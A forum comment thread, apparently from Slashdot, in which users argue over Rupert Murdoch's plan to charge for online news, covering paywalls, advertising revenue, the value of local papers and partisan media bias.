Seriously, newspapers are faced with a huge problem, and it's not the Internet. They can continue to peddle the dog shit that passes for news these days in an attempt to capture the eyes of everyone cheaply, or they can refine their product to the point it has real value and seek to peddle it to those who can afford to pay for it.

Freeloading traffic to a site is great when you're trying to sell something other than the site itself. In the case of journalism, the information itself is what needs to sell.

Re:Bye, bye.

[auld_wyrm]

For the most part though aren't the majority of news stories, whether they hook to the left or swing to the right, simply a complete reprint of an Associate Press story? Local news is best grabbed via a local paper level, they will provide much more comprehensive stories than a large news media empire; the large media empire really hasn't the space or time to cover small local interest stories. Those local newspapers are struggling, but haven't died as they provide a unique service to their own particular communities. That assumes that they haven't been digested by a large media entity.

That local paper provides a unique service that I cannot acquire elsewhere. The larger media for the most part do not. The same story is available from a large variety of services, the only difference being a slightly different cut and paste editing job. The investment of that large media empire is their subscription to the AP and the time it took to cut and paste the story into their own paper. I am happy to pay to access local news because it is a unique service.

If those media empires decided to provide a unique service, like say reintroducing that severely endangered animal, the Investigative Reporter, who will not only tell you what is happening, but also the events which lead to it happening and how those events were able to occur, plus how this might affect future events; then I might just change my mind and pay for content. As it stands right now, I'll get my country/world level news for free (apart from watching ads on every available piece of space around said news) via RSS and websites that give me cut and paste AP stories for free.

It would also help sway me if their grammar was better than mine.

Re:Bye, bye.

[cayenne8]

"And if you want grocery coupons, sign-up on your favorite store's website [giantfood.com], and they'll send you their entire Sunday insert via email. "

I've never seen a stores sale insert contain manufacturer's coupons before...??

Re:Bye, bye.

[default luser]

I've never seen a stores sale insert contain manufacturer's coupons before...??

No, for that you go here. I figured you'd be a big enough boy to have found Coupons.com yourself.

Just about anything you get in the Sunday paper can be found on the web itself for free.

News? Check.
Comics? Check.
Inserts and coupons - we already covered that.

Hell, you can even read PARADE Magazine online, free. That's how little the Sunday Paper Experience® really costs you in the online world.

Of course, there's always the classic feel of reading off a piece of paper, but lately even that doesn't earn me spending $1.50.

Re:Bye, bye.

[Smoke2Joints]

agreed. i would much rather view real coverage by an average person on the street, than a made up fake barbie doll "talking in the sTRANGE NEWS REporter voicE We ALL KNOW. back to you, gerald."

Re:Bye, bye.

[winwar]

"If you don't see useful reporting from newspapers either you aren't looking or you read the wrong papers. Yes, they all have some bias and infotainment filler, but there is still such a thing as a professional reporter."

There is useful reporting. But it is rare. Or at least it appears rarer today than it was a year ago and rarer than a decade ago. I suspect there is less of it, spread over a wider area. It may be that I just notice the crap and filler more easily because there are more places to get it and the amount of good journalism has remained the same.

However as a long term newspaper reader I routinely debate whether to continue a subscription. It rarely takes me more a couple of minutes to read the useful portion of the paper (including the comics). Much less than the past. I have found that free local papers seem to have more local news than the "professional" papers. While I hate to see newspapers fail and useful journalism disappear, I don't see a good defensible solution.

Re:Bye, bye.

[Lunzo]

Not sure if its law or if it's just done by convention, but in Australia the Australian flag has to be flown on either the leftmost pole or in the middle and higher than the other flags when you have a row of flags. The man who climbed the flagpole was right to be annoyed, but I'm not sure that he needed to take matters into his own hands like that. I'm also not sure how newsworthy such a report is.

As for the GP's comments about bias in the media, yes some bias is inevitable because the reporters are human, however shouldn't the goal of all newspapers be to report the news objectively? I don't want the paper owners spreading their political agenda in every column. I guess that's why I don't read News Corp's "The Australian". At least in Sydney's other broadsheet "The Sydney Morning Herald" the different reporters have different political biases which come across in their writing. They aren't all forced to parrot Murdoch's libertarian ideals.

Re:Bye, bye.

[Stormx2]

Honestly I would have thought that /. readers would gravitate towards The Guardian, because of Bad Science, its general moral "stance" and its wide coverage (and specially its tech stuff). Also it has the prettyest font and the nicest design work evar =)

Re:Bye, bye.

[Stormx2]

http://www.guardian.co.uk/

Re:Bye, bye.

[Fluffeh]

But cheap != free. Have you ever paid hosting costs for a large website, or run your own server farm? Me neither, but the shit is far from free. Hardware, software, IT personnel, electricity, bandwidth, designers, staff writers.. all of it costs money. And then there's, you know, the desire to actually make a profit.

I ain't saying "Don't put up ads" on the website. In my posts here however I am saying that while previously there was little choice for me to get to the news I wanted without buying a newspaper for $1. Now, the internet provides me with many, many sources of information. Some of this is free content, some is opinions. I don't mind paying for quality material either, I subscribe to both NewScientist and ScientificAmerican in print format. I however will not be paying for either printed or online versions of the trash I find in newspapers. It seems that there are a LOT of people in a similar boat to me, our information options have expanded GREATLY and the result is sadly greatly declining newspaper readers. Put simply, The BOOM times of newspapers are over and while presenting the same content online might be a step is the right direction, and charging for it might seem like a decent business idea at the senior level, but it's very unlikely that it would in any way shore up the massive losses the papers are suffering with smaller circulation. Markets grow, markets shrink. When the market you are in is shrinking, there is only so much you can do to maintain your profit levels. I see this as clutching at straws, nothing more.

Re:Bye, bye.

[Virtual_Raider]

old-school business mentality coming head to head with something too revolutionary

You mean head to head with something too insane. What is the slashdot-supported model that he's too stupid to believe in? Would that be throwing billions of dollars overboard as youtube sinks to the bottom of profitability trying to stay free? Would that be Twitter, which currently sells no products, no paid services, and generally has no source of income at all?

Welcome to the World Wide Web. It was designed to be this way: free. Its hard to monetize it because it as not made to make money, it was made to freely distribute content as fast and as widespread as possible. The people that made it had the outspoken, specific, explicit goal of making it easy to share stuff (knowledge mainly) in this way.

What you are thinking of is subscription cable tv

Re:Bye, bye.

[tylernt]

Maybe he made it up -- a fake spoiler.

Maybe Harry kills Dumbledore.

Re:Bye, bye.

[cayenne8]

"No, for that you go here [coupons.com]. I figured you'd be a big enough boy to have found Coupons.com yourself."

Thanks for the links...but, I went through the food ones...and just off the first impression...I don't see the variety or deals on that site that I see from the coupons in the sunday papers. There are WAY more coupons on that site that require you to buy 2 of the item to get the deal. I don't see nearly that many in the sunday paper ads....

I must say...I like to get all the local news in the local paper too...I know lots of good New Orleans sites (there are a few, hahah)..but, none of them seem to cover the local events as well as the local paper.

Re:Bye, bye.

[SpaceCadets]

I realize the guy you replied to is talking about America, so maybe you were too, but in Australia the CFA (Country Fire Authority - volunteer fireies) are totally vital, especially in 'bushfire season'. The MFB (Metro Fire Brigade) are paid, but the CFA is pure volunteer (to my knowledge, please correct if wrong), and as the name suggest support country - rural - areas of Aussieland. :)

Re:Bye, bye.

[christopherodonovan]

Yup. And in my experience it's still higher quality than any newspaper article. I have NEVER seen an accurate newspaper article on a subject I was conversant in. Not once. Which leads me to believe they're equally worthless on subjects I'm not conversant in as well.

Journalists are rarely qualified to understand the subjects they report on, so journalism is little more than the ability to write pyramid-style articles that fit the column width and stick to a 'so-and-so said.....' formula. The only thing you can trust is that so-and-so said that, and that is on a good day.

While I agree with you in general, an exception is The Economist. The articles on subjects I am conversant in (science mostly but other too) have invariably been spot on. A subscription gives at least ten hours of reading each week.

Highly recommended.

Re:Bye, bye.

[Eil]

The day Fox start reporting actual NEWS is the day Satan goes to work in a snowplow.

FOX is just one of the many news and content properties that Murdoch owns. He also owns the Wall Street Journal, which is still far and away the most respected resource for business news. He's already been trying to genericize it into a general-purpose paper (like he did the WSJ website), I expect he'll render it completely useless eventually. Leaving the Financial Times to take up the slack, I suppose.

Until recently, it was possible to pull down a full PDF copy of any WSJ (one page at a time) with URLs like this: http://online.wsj.com/documents/print/WSJ_-A001-20090518.pdf But apparently Mr. Murdoch has finally gotten around to putting the kibosh on that.

Re:Bye, bye.

[pjt33]

"You are all individuals." I've now had at least one recommendation for each of the (former) broadsheets.

Back in secondary school I used to read the news over in the school library. Sometimes I would have time to read two newspapers, and because there was no guarantee that someone else wouldn't have bagged one I didn't always read the same ones. I couldn't tell you now how much my tastes were influenced by design work, writing style, and political point of view, but I can say that my preference, in order, is Times, Indy, Telegraph, Guardian. I used to read New Scientist and Scientific American as well, so maybe the science and teach coverage wasn't a relevant factor.

Re:Bye, bye.

[gkai]

If they get so much traffic, financing should come either from ads, or from the ISP themselves, they profit from those "server" site too: if such sources did not exist, nobody would pay for a download link.

Ironic that you pay more to have good uplink ;)

But I think the taxing traffic comes from video/audio/"rich content" anyway.

Information I was talking about is mostly text, maybe some pics. Even for a server, it's not so heavy nowadays....

Re:Bye, bye.

[MilesAttacca]

newspapers that are controlled by a wealthy megacorp oligarchy

Not all newspapers are so. I live in Omaha, where the World-Herald Company (operating the eponymous newspaper and some regional small papers) is employee-owned. Despite the recent hardships, the World-Herald still has the most market penetration of any newspaper in the US.

They haven't figured out a good online strategy yet, it seems, but I'd be far more willing to pay up-front for its coverage than I would be to pay for a Murdock-owned publication. There are still good papers out there; don't give up on them all.

Re:Bye, bye.

[shiftless]

Maybe you expect the news to be created by magic fairies from candyland.

Actually, news is created by events. We had newspapers and reporters in the past because limited communications made it difficult for the general public to learn of this information. The Internet is making it possible for me to hear about news the minute it happens. It's not there yet. The Internet is still a wild west frontier where things aren't quite figured out and organized yet, but it's getting there one step at a time. Once it does, newspapers will be obsolete. The smart people aren't trying to figure out ways to prop up their existing way of doing things, they're trying to figuring what the NEXT way of doing things will be and get a head start on implementing it.

Re:Bye, bye.

[shiftless]

That obviously doesn't include a blog that includes links to sporadic articles that happen to appeal to the author on real news sites; I mean a site where you can go and get a large selection of current news in full. I don't believe it exists.

The real question is, why would you assume that these future news sources, when they come into full effect, will look anything like the existing news sources? It's kinda like in the 1950s where they had big events showing what the world would look like in 40-50 years. They thought it would be just like the 1950s, only fancier. The reality is everything now is completely different and much better in most respects than it was in the 1950s. Likewise, 2050 will not just be a fancier version of 2009.

Hint: news in the future will be a lot more decentralized and democratic. Think something like slashdot, with articles written by contributors--the best ones moderated up by consensus, the crap ones modded into oblivion, the ability to subscribe to favorite authors and "channels", etc, and maybe some Youtube mixed in.

Re:Bye, bye.

[rumcho]

Eeeh, maybe because the title of this discussion is about Murdoch who owns Fox?

Re:Bye, bye.

[tcr]

Harsh moderation there.... I agree with you :-)
 
What I find preposterous is that Murdoch - a man who is reported to eschew a Blackberry and insist on printouts of emails brought to him - is trying to redefine the digital information economy.
 
Bald man fighting over a comb.

Re:Bye, bye.

[NoOneInParticular]

Of course, independent, mandatory license fee, etc, etc. Bottom line: the BBC is at much government owned as judges are. Which means it is as good as it gets.

Re:Bye, bye.

[AmiMoJo]

The license fee is not mandatory if you don't watch broadcast TV ;)

You appear to have no argument what so ever. You are unable to show how the BBC is biased for influenced by the government in any way. On the other hand, I can point to many examples of the BBC doing things that the government of the day clearly does not want it to do, such as covering the expenses scandal, uncovering failings within the NHS (Panorama), exposing the flawed intelligence that lead to the Iraq war and debating the merits of it at length afterwards... The list goes on.

No-one is saying the BBC is perfect, but if you think they are even in the same league as Sky News, ITN or any newspaper you are wrong.

Re:Bye, bye.

[badkarmadayaccount]

OK yes that's income, but I don't want my premium services depending on that kind of funding.

Why?

Re:Bye, bye.

[badkarmadayaccount]

All I saw here was a lot of handwaving and no numbers. So what if there are ten times as many nodes, when, after risk assessment, the delivery path is more reliable than the old fashioned one? You did not assess risks, you simply assumed, making an ass of u and me.

Re:Bye, bye.

[BoothbyTCD]

Dante was engaged in political satire and moral philosophy. He did not intend to literally describe hell.

Re:Bye, bye.

[aap]

There's no network access down in the tunnels so the paper provides a good snapshot to read...

Back in the day, we had something better for that use case... it was called AvantGo. I guess some people today might use Plucker, but it's just not the same.

suicidal.

[Psyborgue]

That's one way to ensure nobody reads his stuff.

Re:suicidal.

[Anonymous Coward]

That's one way to ensure nobody reads his stuff.

Yes, I was just thinking what wonderfully good news this is!

Re:suicidal.

[zonky]

Will people pay to read The Sun online? Interesting idea, but seems unlikely.

Re:suicidal.

[Anonymous Coward]

They might be willing, but will they be able to work out *how*?

Re:suicidal.

[Anonymous Coward]

Couldn't happen to a nicer guy, either.

Re:suicidal.

[shma]

Hey, as long as they include this kind of hard-hitting news, I'm sure there will be some people who will pay for a subscription.

Re:suicidal.

[johnthorensen]

I dunno, if you're talking about this "The Sun" (NSFW) you might have something there...

Re:suicidal.

[ksatyr]

Does The Sun content really count as news?

Re:suicidal.

[unitron]

...you might have something there...

Or even *two* somethings.

Re:suicidal.

[religious freak]

To play a bit of Devil's advocate, I don't know if that's 100% true. I wouldn't pay for something like Sun News, or even the New York Times, but periodicals like Wall Street Journal or The Economist, I might be willing to pay for. Specifically, I might be willing to pay for marketwatch.com, as long as it's reasonable. It's by far the best business/market news source.

Plus, it might even be a bonus because if they can monetize it, it'll keep server load managable and keep the trolls off. Trolls don't pay money to view content.

Re:suicidal.

[religious freak]

Er, just to be 100% clear, marketwatch.com is the best ONLINE business/market news source, and it's owned by news corp

Re:suicidal.

[ThePromenader]

People dont pay for 'Facts' or 'news' per se - but they do pay for opinions.

...whoa, there. Facts are costly: they have to be researched and referenced to have any credibility; opinion is based on fact (or should be). Any blowhard can have an opinion on any fact, but who's going to foot the bill for finding fact in the first place?

This is one of the reasons why modern media is so biased and uninformative - it's easier and cheaper for them to parrot the 'facts' spoon-fed to them by the government/corporate organisations, or 'facts' (usually originating from the same spoon-feeders, but with an added note of hysteria) gleaned from the web. Real reporting = $ = less profit ( = angry 'sponsors').

But everybody: Shhhhhhhh! Let Murdoch dig his own grave.

Re:suicidal.

[JohnBailey]

Well, yeah. Only idiots would pay to look at Fox News.

Oh I don't know.. Fiction is still quite popular.

Re:suicidal.

[yo303]

That's one way to ensure nobody reads his stuff.

Yes, I was just thinking what wonderfully good news this is!

I am interested in purchasing access to the news you are thinking.

Re:suicidal.

[nolife]

The problem with one site charging an access fee and another not charging is that no one will pay when they can get something similar for free. Unless more sites or at least a critical mass work together, any charging plans won't work. The fact that everyone knows this purposed charging model won't work by itself indicates to me that there is more than likely some collusion going on with other major news players and we will hear similar announcements from others soon as well. If there was no secret talks, maybe his FY10 implementation date is testing the waters to see if the others will follow without technically working with directly with them to game the system.
Newspaper publishers had talks about doing the same thing earlier this year. See here and here for details.

Re:suicidal.

[91degrees]

Perhaps, but it will potentially make more money, and that's what he wants.

Hell, they only need one subscriber to increase subscription revenues.

Re:suicidal.

[Kugrian]

I hope they start charging to view Myspace soon.

Re:suicidal.

[Patch86]

Come on, if any part of Murdoch's media empire is threatened by the internet, it's gonna be the soft porn.

Re:suicidal.

[jovius]

Actually it will create a group of dedicated people who do read his stuff. Money also flows from other news organizations and other commercial or non-commercial entities, who wish to appear on or support the Murdoch empire. Even if they couldn't support the whole business, having a loyal and dedicated readership could provide useful in the future, and not only to Murdoch.

Re:suicidal.

[blackraven14250]

Comedy can be fiction, and usually is....

Re:suicidal.

[blackraven14250]

You can't quite bullshit a number that's available to everyone. You can easily bullshit what a 1000-page long document says in your opinion.

Re:suicidal.

[Znork]

but periodicals like Wall Street Journal or The Economist

It might be easier to get payment for comprehensive publications covering a specific field, but those aren't very common. Even for fairly narrow fields of interest you'll usually be better of reading parts of a dozen publications rather than one good.

Trolls don't pay money to view content.

True. But how long will the more insightful commenters accept paying money to write comments tho? If the paper charges, it might be entirely reasonable to demand payment for contributions.

For most news I personally find much more value in the commentary than in the articles, something that would most likely be severely curtailed in a pay site due to lack of an active community of significant size, making them largely worthless.

In the end the problem for newspapers isn't the lack of pay walls anyway, but the vast overproduction of material. With the current balance of production/consumption rate it simply isn't possible to generate a positive revenue stream for most material.

And business death is the natural and correct response to overproduction and unprofitability...

Re:suicidal.

[glebovitz]

whoa whoa there. News is biased and uninformative because news agencies provide what people want to hear independent of the actual fact. Entertainment sells, and those pesky facts just gets in the way.

Re:suicidal.

[tg123]

The problem with one site charging an access fee and another not charging is that no one will pay when they can get something similar for free. Unless more sites or at least a critical mass work together, any charging plans won't work. The fact that everyone knows this purposed charging model won't work by itself indicates to me that there is more than likely some collusion going on with other major news players and we will hear similar announcements from others soon as well....

Collusion would not surprise me after all this is Murdoch we're talking about here. (ie. The Anti-Christ)

He is not is dumb and he has some the smartest people in the media business advising him.

This really sounds like Murdoch is trying to be a "Big Swinging Dick"
http://www.urbandictionary.com/define.php?term=big%20swinging%20dick

i.e so powerful that they decide what the market will do.

Re:suicidal.

[elrous0]

As a non-Republican I, for one, welcome anything that makes Fox News more obscure.

Re:suicidal.

[IDtheTarget]

Well, yeah. Only idiots would pay to look at Fox News.

Oh I don't know.. Fiction is still quite popular.

You want to talk about fiction? Try CNN. I got back from a year in Iraq last October, and what CNN is reporting bears zero resemblance to what is actually happening there. Michael Yon is the only guy whose writing I've seen is accurate, and he's selling his articles to Fox News. I find it funny and sad that most of the people who are still in love with "Pravda" (CNN) have never actually been to either Iraq or Afghanistan to learn how totally they're being lied to.

Re:suicidal.

[elrous0]

Actually, the low end of Fox can't even read. They get their news from what they overhear at bars and NASCAR races.

Re:suicidal.

[drsquare]

People who buy the Sun probably don't have Internet access, especially at work.

Re:suicidal.

[Bat Country]

Hopefully they decide to restrict it to just their news websites...

Among Newscorp's other holdings is "Fox Interactive Media" which runs IGN, Gamespy, Myspace (no huge loss there), Rotten Tomatoes and Hulu.

Re:suicidal.

[drinkypoo]

This is one of the reasons why modern media is so biased and uninformative - it's easier and cheaper for them to parrot the 'facts' spoon-fed to them by the government/corporate organisations,

That's one way to look at it. The other way is that virtually all media outlets in America are controlled by one of ten megacorporations which also tend to control large percentages of the media in other countries, and that these corporations are owned (yes, they're public, but look at who holds majority shares of voting stock) and controlled by the same people who are charting the rest of our financial future. Big Media isn't saying what the government wants; the government is doing what the same people running Big Media want.

Re:suicidal.

[JBaustian]

Quote: "That's one way to ensure nobody reads his stuff."

No, that's one way to ensure nobody reads it for free.

It's a brilliant move, I think, because people will pay for quality news coverage but not for leftist editorializing masquerading as news -- they can always find plenty of that for free.

I've been a subscriber to the online edition of the WSJ for a decade or maybe longer, and believe that it's a pretty good deal.

But rather than pay a fixed amount each month for several subscriptions, I'd rather pay a few cents for each article I want to read. How long will it be before a web page has a brief synopsis of the story, and then a button labeled "Buy the rest of this article." Not for a dollar or even 50 cents, but 10 cents or 5 cents or even 2 cents. Maybe the author's pay would be a percentage of the revenue from each story -- a few cents for each article multiplied by 100,000 viewings would make for a decent paycheck.

Re:suicidal.

[richlv]

do you hint that before media was unbiased an informative ?
isn't that just an example of "oh, they built things so much more sturdy back in the age" ?

Re:suicidal.

[ThePromenader]

Whoa whoa whoa there. What you say is true for some news sources, but many (even most) others tailor their news to what they think 'the people' ~should~ (or shouldn't) hear. This is a power often abused, and corporate-sponsored-and-promoting 'dumb the consumers down, scare 'em silly and make them buy and obey' Fox news is a prime example.

Well,

[rapturizer]

Then instead of people not reading their print editions, then they will ignore the web edition as well. Sounds like a solid business plan to me.

Re:Well,

[Psyborgue]

Well. It might be a decent business plan. He might gain more money but less readership. Long term, i'm not sure that's such a good strategy but in the short term it might work just fine. Ad revenue can't be that good.

Re:Well,

[jpstanle]

Ad revenue may not be good, but it's better than nothing. And nothing is just about what they'll get with a pay-only model.

There is quite a bit of online content that's actually worth paying for, certain things you can't (legally) get for free elsewhere. News sites are not one of them.

I've never met a single person who would be willing to pay even $2 a month for access to a news site.

Re:Well,

[TheVelvetFlamebait]

Quite frankly, I'm amazed that it took this long for a high score comment to say something without the words "suicide", "foot", and "bullet".

I hope that people remember that people using your services is not a guarantee of success, right?

Re:Well,

[Exception Duck]

I agree, in the short term it will probably pay off. And maybe when the economy turns around, they can lift the fee.
Also allowing people to read 1 story per day for free by registering would be sensible.

Re:Well,

[PCM2]

Also allowing people to read 1 story per day for free by registering would be sensible.

Now there's something to consider. You register, in the process giving certain information, such as your age, sex, location, and so on. When you register, you get a cookie. Cookie allows Murdoch company to track which stories you read, how often, and when. Big Brother? Not quite. Murdoch will be more likely to use this information for what is called "lead generation." It's the same stuff that advertisers and publishers do now, only Murdoch will be able to automate it.

Think Glengary Glenn Ross. Salesmen can't sell unless they have leads; Murdoch provides the leads. Instead of telling advertisers, "We are the biggest newspaper around, buy ads with us," Murdoch can shore up its story. "We will put your ads in front of the faces of males between the ages of 18 and 35 who watch football and go to the movies often" -- we know this information based on the fact that they read the sports pages and the movie reviews. What's more, the Murdoch publication might even be able to hand over a valid name, address, and/or telephone number for these readers. This way, advertisers can skip the banner-ad phase altogether, and go direct.

This method isn't worthwhile for marketing every type of product, but guaranteed those names will be worth something to somebody. If you wanna get scary, maybe political campaigns will be willing to pay -- it IS Fox, after all.

The average banner-ad impression nets the publication what? 50 cents, if that? You can sell a lead for 50 bucks or more, depending who the client is.

Re:Well,

[Exception Duck]

I don't mind giving up the fact that I'm from Greenland, my income consists mostly of seals and other cute animals.

Re:Well,

[moredots]

He's probably just trying to break $9.0 billion in net worth before he dies so his Wikipedia article can say he got over 9,000 (million). Besides, the man's almost 80 years old. What's long term?

Re:Well,

[mike2R]

Now there's something to consider. You register, in the process giving certain information, such as your age, sex, location, and so on. When you register, you get a cookie. Cookie allows Murdoch company to track which stories you read, how often, and when.

Allowing them to refine their targeting for the key Albanian Grandmother segment? :)

Re:Well,

[AbbyNormal]

Or its a great opportunity for other media sources to be able seize his market share.

Re:Well,

[geekoid]

Making Zero money(by going away) is still more profitable then many internet businesses~

Re:Well,

[mgblst]

Can't he give his content away for free, and make it up on volume?

And...

[Stormwatch]

...nothing of value was lost.

One more reason not to watch O'Reilly.

[MarkvW]

As if I needed one . . .

Re:One more reason not to watch O'Reilly.

[mrsam]

As if I needed one . . .

... as if you ever did.

Re:One more reason not to watch O'Reilly.

[mgblst]

Yes, and the fact that the price of chopsticks has gone up is one more reason for me not to buy some and jab them into my eye, but I think all the obvious reasons are more than enough anyway.

What a nice gift to progressives

[bl968]

Fox News and the other Rupert Murdoch properties charging for access is the best thing the Dems and Obama could ask for. It will limit the reach of the biased news content put out by his properties and limit the public exposure. Also as a publisher of a small Online Community Newspaper, I hope that Gannett and the other big news publishing companies follow suit. It's win win for me.

Re:What a nice gift to progressives

[Uber Banker]

Also as a publisher of a small Online Community Newspaper, I hope that Gannett and the other big news publishing companies follow suit. It's win win for me.

I often see how independent small publishers break stories, only for larger organisations to source from, but not attribute their source, several days later. This is especially true of quality blogs and online communities in niche interest or geographical areas - I run one of these. Not attributing and mandatory charging for a derivative work is not good form.

I would like to know the IP range that Murdoch companies use, in order to block them from my content.

Re:What a nice gift to progressives

[Yvan256]

You couldn't block other sources that get their information from you and then Murdoch takes from them, making your IP blocking useless.

What you need to do is make specific typos and mistakes in the text, weird sentence structures, etc. If nobody corrects them when copying your text then you'll have proof that they ripped-off from you. I'm not sure how solid that proof would be if it's for legal reasons, but still that's better than blocking IPs IMHO.

Re:What a nice gift to progressives

[Nikkos]

The fact that you claim Murdoch's organizations are biased just proves your paper is as well. You want to find the truth? Research it for yourself instead of reporting on whatever is said by whoever you tend to agree with.

Re:What a nice gift to progressives

[NoPantsJim]

Also as a publisher of a small Online Community Newspaper

I find your ideas intriguing and would like to subscribe to your newsletter.

Re:What a nice gift to progressives

[bl968]

It proves nothing. You can call a rose,a rose; and a pig, a pig; without being one your self. The history of Fox news is documented even in court cases...

In February 2003, a Florida Court of Appeals unanimously agreed with an assertion by FOX News that there is no rule against distorting or falsifying the news in the United States...During their appeal, FOX asserted that there are no written rules against distorting news in the media. They argued that, under the First Amendment, broadcasters have the right to lie or deliberately distort news reports on public airwaves. Fox attorneys did not dispute Akre's claim that they pressured her to broadcast a false story, they simply maintained that it was their right to do so. After the appeal verdict WTVT general manager Bob Linger commented, "It's vindication for WTVT, and we're very pleased... It's the case we've been making for two years. She never had a legal claim."

Re:What a nice gift to progressives

[fabs64]

What the hell? Care to explain that little logical implication to me?

Re:What a nice gift to progressives

[bl968]

I have broken several stories and regularly notify the CNN news desk when stories break that they would be interested in. Don't knock local media as local media is generally the source for the larger broadcasters and publishers.

Re:What a nice gift to progressives

[Mashiki]

Dan Rather: "Fake but accurate." Thank you, I'll be here all night.

You're just another shill who has a bent, nothing more and nothing less. Take off the rose colored glasses, and stop pretending that only one part of the media manipulates.

Re:What a nice gift to progressives

[mrsam]

It proves nothing. You can call a rose,a rose; and a pig, a pig; without being one your self. The history of Fox news is documented even in court cases...

The only thing that's really documented is your mindless parroting of the left-wing talking points that "Florida Court of Appeals unanimously agreed with an assertion by FOX News that there is no rule against distorting or falsifying the news in the United States".

The real story is not exactly that. Jane Akre and Steve Wilson sued under Florida's whistleblower law, which provides protection only for employees who report misconduct which is against an "adopted law, rule, or regulation". Unfortunately, what Akre & Wilson site wasn't a law, but an FCC policy, so the appellate court ruled that the state whistleblower law did not apply. Which is a far cry from the left-wing kook fringe's mischaracterization of Fox News' position that "there are no written rules against distoring news in the media.

You should really stop mindlessly parroting what you read on your left-wing kook sites, and think for yourself.

Re:What a nice gift to progressives

[Walter White]

No, I believe that the more people watch Fox, the better things will go for the Dems. It certainly makes me recoil at the thought that I once identified as a Republican.

Re:What a nice gift to progressives

[ClickOnThis]

You want to find the truth? Research it for yourself instead of reporting on whatever is said by whoever you tend to agree with.

If only Fox viewers would do this. And if only they would start here.

Re:What a nice gift to progressives

[ShadowRangerRIT]

Of course, Rather got fired for rushing ahead with one bogus story. If only the media would apply that rule universally...

Re:What a nice gift to progressives

[ShadowRangerRIT]

That makes no sense whatsoever. If you believe that an organization has a political bias, then all related organizations have a bias too? You don't even know what paper/show/fortnightly dispatch he enjoys, so how precisely do you know it is biased?

Fox News is biased. Period. But most of Murdoch's news organizations are biased in favor of sensationalism first, ideology second. There are loons on both sides of the aisle; Fox News decided to play to the right wing loons, but that's not the goal. The goal is viewers, and they got their market share locked down. In many of his other news organizations, ideology is a tertiary concern, because it doesn't work as well with the target audience as tabloid gossip.

Re:What a nice gift to progressives

[RobVB]

I'm quite certain that even progressives, left-wing nutjobs and liberals use the media to manipulate, but there's still a point to be made here.

Mind you, I consider myself a progressive left wing person (I don't usually consider myself a nutjob, and the word "liberal" doesn't quite mean the same thing here in Europe as it does in the US, so I'll leave that issue alone for now), but I'm amazed by the amount of reports about FOX and their shenanigans and the relative lack of reports about CNN and NBC, to name just two.

Of course, my primary source of information is the internet, which might be a place where people who are generally considered left-wing and progressive are over-represented, and the results may be different when polling among torch-bearing angry mobs in the square states. I can only share my own observations.

Re:What a nice gift to progressives

[thule]

It will limit the reach of the biased news content put out by his properties and limit the public exposure.

HAHAHAHAHAHAHHA. Yeah... like there is NO biased news anywhere else!

Re:What a nice gift to progressives

[demachina]

No argument there are all kinds of biases around but you are making a pretty weak argument defending Fox on that basisc because their bias is OFF THE SCALE.

In the left bias case you cite Rather was FIRED for that one story. Kind of says CBS applied some standards and ethics that were a LOT tougher than Fox which intentionally broadcasts false information, is proud of it, and would never fire one of their talking heads for lying as long as the lies are the Murdouch/Ailes/Rove/Cheney approved lies.

The Rather case was also not something you can claim as serious bias. The fact is everyone knows Bush deserted his guard service, possible to avoid drug testing in his flight physical because he was a heavy cocaine user at the time. The guard commander's secretary said what was in the letter was pretty plausible.

The problem with the Bush case is due to the power of his family in Texas and especially when he was governor of Texas(and commander in chief of the Texas Guard) all the incriminating stuff in his guard file was almost certainly destroyed by his operatives. You have this ugly case where Bush did something bad bordering on criminal and got away with it because his family is rich and powerful. You can't exactly blame Rather's team for wanting to nail Bush for deserting his guard duty which he certainly did. They, like everyone else in the world with a brain, didn't want to see that loser get another four years. It was a desire proved justified because by the end of his second term Bush and Co. had nearly destroyed the U.S. and everyone, including many Republicans, realized too late what a complete disaster Bush's reign was for the country.

W's eight years in power may well have ended America's ascendancy and may have started a decline which may prove irreversible.

Re:What a nice gift to progressives

[JPortal]

To claim that ANYTHING is unbiased is ridiculous. The only thing to do is read from sources that state their bias up-front.

Bias is not always bad. Pretending it's not there (Fox, CNN) is.

Re:What a nice gift to progressives

[RiotingPacifist]

No where else manages to put so much bias into their "news", e.g to get even close you have to start looking at comedy programs!

Re:What a nice gift to progressives

[Sleepy]

Except Rupert Murdoch's "base" have moved past News Corp properties. They now subsist on chain emails....

Re:What a nice gift to progressives

[Malc]

Sounds like they could be had for copyright violation then...

Re:What a nice gift to progressives

[blackraven14250]

Well, in the states it's known about MSNBC being biased liberally. I'd like to know what you guys think of CNN though.

Re:What a nice gift to progressives

[sifi]

Putting in 'traps' to catch plagiarism didn't work for Fred L. Worth.
He deliberately added some 'made up' facts into his "The Trivia Encyclopedia" including:
"Columbo's first name was Philip"

When this appeared as a Trivial Pursuit question, he attempted to sue, but it was thrown out of court on the basis that many sources had been used to make the questions. http://www.triviahalloffame.com/columbo.aspx

I guess it is a case of: Copy one source - plagiarism; Copy many sources - research.

Re:What a nice gift to progressives

[Mashiki]

You can't exactly blame Rather's team for wanting to nail Bush for deserting his guard duty which he certainly did. They, like everyone else in the world with a brain, didn't want to see that loser get another four years.

Sure can. You do it the right way, or you do it the wrong way. I don't have pity in either direction. Taking shortcuts leads to dead people, disinformation, becoming what you hate, so-on, and so forth.

Then again, considering that he won a second election. I consider that the highest form of irony, especially with Rather being one of the fellows that helped make sure that it happened. But Kerry was an exceptionally weak candidate to begin with. Again, if you look at the current state of the media...welp. No no. I'll let people figure that out on their own. Needless to say, most haven't quite clicked in with the clue bat, how politics works. That includes about 70% of /.

Re:What a nice gift to progressives

[Machtyn]

It's only biased because you're so far left. As a right-winger, I see FoxNews slightly right, but the mainstream media (CNN, AP, etc) as far left. Of course, we have the All Barack Channel, now.

Re:What a nice gift to progressives

[Uber Banker]

It is not verbatum copying, it is taking key points, re-wording them, and passing them off as originally sourced. That happens all the time, especially to decent blogging and discussion forums. And it happens on the low level. For example if a lazy journalist wants to make a Japan related story, they need only visit Japundit, pick something interesting, and re-word it. And in the majority of cases no attribution is given. That's what I mean by bad form.

Re:What a nice gift to progressives

[Hurricane78]

I agree, but you must realize, that there is so such thing as "unbiased" anything. By basic physical definition. It is completely impossible.

What we call "bias", is what does not fit with our world view, and/or that you don't agree with.
Of course our world view may make more sense in a physics-based way. ;) (Don't worry, I'm on your side. I think FOX is the craziest group of crazy people ever seen on TV, except maybe for North Korea.)
But still, that's how it is.

Maybe this will help you think about it in a more productive way, than to call others "biased", while assuming you are not. :)

